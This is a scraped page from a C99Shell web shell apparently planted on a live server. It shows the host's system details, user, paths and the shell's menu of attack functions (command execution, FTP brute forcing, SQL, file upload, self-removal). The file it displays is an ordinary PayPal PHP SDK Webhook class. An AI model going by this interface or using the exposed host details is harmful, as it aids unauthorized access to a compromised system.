!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/paypal/rest-api-sdk-php/lib/PayPal/Api/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Webhook.php (6.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PayPal\Api;

use 
PayPal\Common\PayPalResourceModel;
use 
PayPal\Rest\ApiContext;
use 
PayPal\Transport\PayPalRestCall;
use 
PayPal\Validation\ArgumentValidator;
use 
PayPal\Validation\UrlValidator;

/**
 * Class Webhook
 *
 * Represents Webhook resource.
 *
 * @package PayPal\Api
 *
 * @property string id
 * @property string url
 * @property \PayPal\Api\WebhookEventType[] event_types
 */
class Webhook extends PayPalResourceModel
{
    
/**
     * Identifier of the webhook resource.
     *
     * @param string $id
     * 
     * @return $this
     */
    
public function setId($id)
    {
        
$this->id $id;
        return 
$this;
    }

    
/**
     * Identifier of the webhook resource.
     *
     * @return string
     */
    
public function getId()
    {
        return 
$this->id;
    }

    
/**
     * Webhook notification endpoint url.
     *
     * @param string $url
     * @throws \InvalidArgumentException
     * @return $this
     */
    
public function setUrl($url)
    {
        
UrlValidator::validate($url"Url");
        
$this->url $url;
        return 
$this;
    }

    
/**
     * Webhook notification endpoint url.
     *
     * @return string
     */
    
public function getUrl()
    {
        return 
$this->url;
    }

    
/**
     * List of Webhooks event-types.
     *
     * @param \PayPal\Api\WebhookEventType[] $event_types
     * 
     * @return $this
     */
    
public function setEventTypes($event_types)
    {
        
$this->event_types $event_types;
        return 
$this;
    }

    
/**
     * List of Webhooks event-types.
     *
     * @return \PayPal\Api\WebhookEventType[]
     */
    
public function getEventTypes()
    {
        return 
$this->event_types;
    }

    
/**
     * Append EventTypes to the list.
     *
     * @param \PayPal\Api\WebhookEventType $webhookEventType
     * @return $this
     */
    
public function addEventType($webhookEventType)
    {
        if (!
$this->getEventTypes()) {
            return 
$this->setEventTypes(array($webhookEventType));
        } else {
            return 
$this->setEventTypes(
                
array_merge($this->getEventTypes(), array($webhookEventType))
            );
        }
    }

    
/**
     * Remove EventTypes from the list.
     *
     * @param \PayPal\Api\WebhookEventType $webhookEventType
     * @return $this
     */
    
public function removeEventType($webhookEventType)
    {
        return 
$this->setEventTypes(
            
array_diff($this->getEventTypes(), array($webhookEventType))
        );
    }

    
/**
     * Creates the Webhook for the application associated with the access token.
     *
     * @param ApiContext $apiContext is the APIContext for this call. It can be used to pass dynamic configuration and credentials.
     * @param PayPalRestCall $restCall is the Rest Call Service that is used to make rest calls
     * @return Webhook
     */
    
public function create($apiContext null$restCall null)
    {
        
$payLoad $this->toJSON();
        
$json self::executeCall(
            
"/v1/notifications/webhooks",
            
"POST",
            
$payLoad,
            
null,
            
$apiContext,
            
$restCall
        
);
        
$this->fromJson($json);
        return 
$this;
    }

    
/**
     * Retrieves the Webhook identified by webhook_id for the application associated with access token.
     *
     * @param string $webhookId
     * @param ApiContext $apiContext is the APIContext for this call. It can be used to pass dynamic configuration and credentials.
     * @param PayPalRestCall $restCall is the Rest Call Service that is used to make rest calls
     * @return Webhook
     */
    
public static function get($webhookId$apiContext null$restCall null)
    {
        
ArgumentValidator::validate($webhookId'webhookId');
        
$payLoad "";
        
$json self::executeCall(
            
"/v1/notifications/webhooks/$webhookId",
            
"GET",
            
$payLoad,
            
null,
            
$apiContext,
            
$restCall
        
);
        
$ret = new Webhook();
        
$ret->fromJson($json);
        return 
$ret;
    }

    
/**
     * Retrieves all Webhooks for the application associated with access token.
     *
     * @param ApiContext $apiContext is the APIContext for this call. It can be used to pass dynamic configuration and credentials.
     * @param PayPalRestCall $restCall is the Rest Call Service that is used to make rest calls
     * @return WebhookList
     */
    
public static function getAll($apiContext null$restCall null)
    {
        
$payLoad "";
        
$json self::executeCall(
            
"/v1/notifications/webhooks",
            
"GET",
            
$payLoad,
            
null,
            
$apiContext,
            
$restCall
        
);
        
$ret = new WebhookList();
        
$ret->fromJson($json);
        return 
$ret;
    }

    
/**
     * Updates the Webhook identified by webhook_id for the application associated with access token.
     *
     * @param PatchRequest $patchRequest
     * @param ApiContext $apiContext is the APIContext for this call. It can be used to pass dynamic configuration and credentials.
     * @param PayPalRestCall $restCall is the Rest Call Service that is used to make rest calls
     * @return Webhook
     */
    
public function update($patchRequest$apiContext null$restCall null)
    {
        
ArgumentValidator::validate($this->getId(), "Id");
        
ArgumentValidator::validate($patchRequest'patchRequest');
        
$payLoad $patchRequest->toJSON();
        
$json self::executeCall(
            
"/v1/notifications/webhooks/{$this->getId()}",
            
"PATCH",
            
$payLoad,
            
null,
            
$apiContext,
            
$restCall
        
);
        
$this->fromJson($json);
        return 
$this;
    }

    
/**
     * Deletes the Webhook identified by webhook_id for the application associated with access token.
     *
     * @param ApiContext $apiContext is the APIContext for this call. It can be used to pass dynamic configuration and credentials.
     * @param PayPalRestCall $restCall is the Rest Call Service that is used to make rest calls
     * @return bool
     */
    
public function delete($apiContext null$restCall null)
    {
        
ArgumentValidator::validate($this->getId(), "Id");
        
$payLoad "";
        
self::executeCall(
            
"/v1/notifications/webhooks/{$this->getId()}",
            
"DELETE",
            
$payLoad,
            
null,
            
$apiContext,
            
$restCall
        
);
        return 
true;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--